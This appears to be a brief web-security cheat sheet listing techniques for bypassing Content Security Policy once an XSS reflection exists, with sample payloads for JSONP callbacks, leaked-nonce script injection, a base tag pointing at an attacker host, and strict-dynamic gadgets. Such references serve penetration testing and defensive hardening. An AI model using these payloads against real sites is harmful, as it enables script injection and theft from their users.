#vulns.co
/
mcp by GKData.io

← Back to Bypasses

CSP bypass gadgets

You already have a reflection. These are why it still executes.

Tags: csp, xss, jsonp

Techniques

JSONP on an allowed origin

script-src includes a CDN or API that still has ?callback=.

  • https://allowed-cdn.example/jsonp?callback=alert

nonce reuse

Inject </script><script nonce=LEAKED> if the nonce is in the page or in a URL.

  • </script><script nonce="...">alert(1)</script>

missing base-uri

<base href='https://evil'> retargets relative script src.

  • <base href="https://evil.example/">

strict-dynamic + user gadget

A trusted script that does new Function or document.write of attacker data still runs children.

  • (trusted lib writes attacker HTML)

← Back to Bypasses